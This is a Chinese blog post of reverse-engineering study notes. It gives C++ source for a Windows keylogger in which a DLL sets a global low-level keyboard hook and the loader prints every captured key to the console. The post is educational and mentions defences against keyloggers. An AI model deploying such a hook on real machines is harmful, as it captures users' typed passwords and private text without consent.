逆向工程核心原理 Chapter22 | 恶意键盘记录器

2024-09-01 23:20

本文主要是介绍逆向工程核心原理 Chapter22 | 恶意键盘记录器,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

教程这一章没给具体的实现,这里在Chapter21学习的基础上,试着实现一个键盘记录器。

键盘记录器实现

这里有个技术问题:记录下的敲击键(在KeyHook.dll中捕获的)(可以用wParam)怎么打印出来(在HookMain.exe中)?

第一种:记录在本地文件。这种实现比较简单。

第二种:与HookMain.exe通信。这种可以学到更多Windows编程知识。

这里实现第二种:

通信实现键盘记录

HookMain.cpp:

#include<iostream>
#include<Windows.h>#define LOAD_DLL "KeyHook.dll"
typedef void(*func)(); // 函数指针
signed main() {HMODULE hDll = NULL;func HookStart = NULL;func HookStop = NULL;char ch = 0;hDll = LoadLibraryA(LOAD_DLL);HookStart = (func)GetProcAddress(hDll, "HookStart");HookStop = (func)GetProcAddress(hDll, "HookStop");HookStart();HookStop();FreeLibrary(hDll);return 0;
}

KeyHook.cpp

要注意使用WH_KEYBOARD_LL

// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include<windows.h>
#include<stdio.h>
#include<iostream>
#include<conio.h>
using namespace std;HINSTANCE hInstance = NULL;
HHOOK hHook = NULL;
HWND hWnd = NULL;BOOL APIENTRY DllMain(HMODULE hModule,DWORD  ul_reason_for_call,LPVOID lpReserved
)
{switch (ul_reason_for_call){case DLL_PROCESS_ATTACH: // 进程创建时调用hInstance = hModule;break;case DLL_PROCESS_DETACH: // 进程结束时调用break;}return TRUE;
}LRESULT CALLBACK keyboardProc(int nCode, WPARAM wParam, LPARAM lParam) {KBDLLHOOKSTRUCT* ks = (KBDLLHOOKSTRUCT*)lParam;/*typedef struct tagKBDLLHOOKSTRUCT {DWORD   vkCode;   // 按键代号DWORD   scanCode;  //硬件扫描代号DWORD   flags;  //事件类型 按下:0 抬起:128DWORD   time;ULONG_PTR dwExtraInfo;
} KBDLLHOOKSTRUCT, FAR *LPKBDLLHOOKSTRUCT, *PKBDLLHOOKSTRUCT;*/if (ks->flags == 128 || ks->flags == 129) {switch (ks->vkCode) {case 0x30: case 0x60:cout << "检测到按键:" << "0" << endl;break;case 0x31: case 0x61:cout << "检测到按键:" << "1" << endl;break;case 0x32: case 0x62:cout << "检测到按键:" << "2" << endl;break;case 0x33: case 0x63:cout << "检测到按键:" << "3" << endl;break;case 0x34: case 0x64:cout << "检测到按键:" << "4" << endl;break;case 0x35: case 0x65:cout << "检测到按键:" << "5" << endl;break;case 0x36: case 0x66:cout << "检测到按键:" << "6" << endl;break;case 0x37: case 0x67:cout << "检测到按键:" << "7" << endl;break;case 0x38: case 0x68:cout << "检测到按键:" << "8" << endl;break;case 0x39: case 0x69:cout << "检测到按键:" << "9" << endl;break;case 0x41:cout << "检测到按键:" << "A" << endl;break;case 0x42:cout << "检测到按键:" << "B" << endl;break;case 0x43:cout << "检测到按键:" << "C" << endl;break;case 0x44:cout << "检测到按键:" << "D" << endl;break;case 0x45:cout << "检测到按键:" << "E" << endl;break;case 0x46:cout << "检测到按键:" << "F" << endl;break;case 0x47:cout << "检测到按键:" << "G" << endl;break;case 0x48:cout << "检测到按键:" << "H" << endl;break;case 0x49:cout << "检测到按键:" << "I" << endl;break;case 0x4A:cout << "检测到按键:" << "J" << endl;break;case 0x4B:cout << "检测到按键:" << "K" << endl;break;case 0x4C:cout << "检测到按键:" << "L" << endl;break;case 0x4D:cout << "检测到按键:" << "M" << endl;break;case 0x4E:cout << "检测到按键:" << "N" << endl;break;case 0x4F:cout << "检测到按键:" << "O" << endl;break;case 0x50:cout << "检测到按键:" << "P" << endl;break;case 0x51:cout << "检测到按键:" << "Q" << endl;break;case 0x52:cout << "检测到按键:" << "R" << endl;break;case 0x53:cout << "检测到按键:" << "S" << endl;break;case 0x54:cout << "检测到按键:" << "T" << endl;break;case 0x55:cout << "检测到按键:" << "U" << endl;break;case 0x56:cout << "检测到按键:" << "V" << endl;break;case 0x57:cout << "检测到按键:" << "W" << endl;break;case 0x58:cout << "检测到按键:" << "X" << endl;break;case 0x59:cout << "检测到按键:" << "Y" << endl;break;case 0x5A:cout << "检测到按键:" << "Z" << endl;break;case 0x6A:cout << "检测到按键:" << "*" << endl;break;case 0x6B:cout << "检测到按键:" << "+" << endl;break;case 0x6D:cout << "检测到按键:" << "-" << endl;break;case 0x6E:cout << "检测到按键:" << "." << endl;break;case 0x6F:cout << "检测到按键:" << "/" << endl;break;case 0x0D:cout << "检测到按键:" << "Enter" << endl;break;case 0xA0: case 0xA1:cout << "检测到按键:" << "Shift" << endl;break;case 0x08:cout << "检测到按键:" << "Backspace" << endl;break;case 0x20:cout << "检测到按键:" << "Space" << endl;break;}// return 1; // 直接return就不传递(也就是拦截下来)}return CallNextHookEx(NULL, nCode, wParam, lParam);
}#ifdef __cplusplus
extern "C" {
#endif__declspec(dllexport) void HookStart() {hHook = SetWindowsHookEx(WH_KEYBOARD_LL, keyboardProc, hInstance, 0);if (hHook == 0) {cout << "hook failed!\n";}MSG msg;while (1) {if (PeekMessageA(&msg,NULL,NULL,NULL,PM_REMOVE)) {TranslateMessage(&msg);DispatchMessageW(&msg);}else Sleep(0);}}__declspec(dllexport) void HookStop() {if (hHook) {UnhookWindowsHookEx(hHook);hHook = NULL;}}
#ifdef __cplusplus
}
#endif

效果:

在这里插入图片描述

防范恶意键盘记录器

虽然与逆向无关,但是这些还是蛮有必要的。

在这里插入图片描述

总结

多写,多练。Windows编程一定得精通才行。

这篇关于逆向工程核心原理 Chapter22 | 恶意键盘记录器的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/1128337

相关文章

redis中使用lua脚本的原理与基本使用详解

《redis中使用lua脚本的原理与基本使用详解》在Redis中使用Lua脚本可以实现原子性操作、减少网络开销以及提高执行效率,下面小编就来和大家详细介绍一下在redis中使用lua脚本的原理... 目录Redis 执行 Lua 脚本的原理基本使用方法使用EVAL命令执行 Lua 脚本使用EVALSHA命令

Java Spring 中 @PostConstruct 注解使用原理及常见场景

《JavaSpring中@PostConstruct注解使用原理及常见场景》在JavaSpring中,@PostConstruct注解是一个非常实用的功能,它允许开发者在Spring容器完全初... 目录一、@PostConstruct 注解概述二、@PostConstruct 注解的基本使用2.1 基本代

Golang HashMap实现原理解析

《GolangHashMap实现原理解析》HashMap是一种基于哈希表实现的键值对存储结构,它通过哈希函数将键映射到数组的索引位置,支持高效的插入、查找和删除操作,:本文主要介绍GolangH... 目录HashMap是一种基于哈希表实现的键值对存储结构,它通过哈希函数将键映射到数组的索引位置,支持

Python列表去重的4种核心方法与实战指南详解

《Python列表去重的4种核心方法与实战指南详解》在Python开发中,处理列表数据时经常需要去除重复元素,本文将详细介绍4种最实用的列表去重方法,有需要的小伙伴可以根据自己的需要进行选择... 目录方法1:集合(set)去重法(最快速)方法2:顺序遍历法(保持顺序)方法3:副本删除法(原地修改)方法4:

Spring Boot循环依赖原理、解决方案与最佳实践(全解析)

《SpringBoot循环依赖原理、解决方案与最佳实践(全解析)》循环依赖指两个或多个Bean相互直接或间接引用,形成闭环依赖关系,:本文主要介绍SpringBoot循环依赖原理、解决方案与最... 目录一、循环依赖的本质与危害1.1 什么是循环依赖?1.2 核心危害二、Spring的三级缓存机制2.1 三

C#中async await异步关键字用法和异步的底层原理全解析

《C#中asyncawait异步关键字用法和异步的底层原理全解析》:本文主要介绍C#中asyncawait异步关键字用法和异步的底层原理全解析,本文给大家介绍的非常详细,对大家的学习或工作具有一... 目录C#异步编程一、异步编程基础二、异步方法的工作原理三、代码示例四、编译后的底层实现五、总结C#异步编程

SpringQuartz定时任务核心组件JobDetail与Trigger配置

《SpringQuartz定时任务核心组件JobDetail与Trigger配置》Spring框架与Quartz调度器的集成提供了强大而灵活的定时任务解决方案,本文主要介绍了SpringQuartz定... 目录引言一、Spring Quartz基础架构1.1 核心组件概述1.2 Spring集成优势二、J

Go 语言中的select语句详解及工作原理

《Go语言中的select语句详解及工作原理》在Go语言中,select语句是用于处理多个通道(channel)操作的一种控制结构,它类似于switch语句,本文给大家介绍Go语言中的select语... 目录Go 语言中的 select 是做什么的基本功能语法工作原理示例示例 1:监听多个通道示例 2:带

鸿蒙中@State的原理使用详解(HarmonyOS 5)

《鸿蒙中@State的原理使用详解(HarmonyOS5)》@State是HarmonyOSArkTS框架中用于管理组件状态的核心装饰器,其核心作用是实现数据驱动UI的响应式编程模式,本文给大家介绍... 目录一、@State在鸿蒙中是做什么的?二、@Spythontate的基本原理1. 依赖关系的收集2.

Java编译生成多个.class文件的原理和作用

《Java编译生成多个.class文件的原理和作用》作为一名经验丰富的开发者,在Java项目中执行编译后,可能会发现一个.java源文件有时会产生多个.class文件,从技术实现层面详细剖析这一现象... 目录一、内部类机制与.class文件生成成员内部类(常规内部类)局部内部类(方法内部类)匿名内部类二、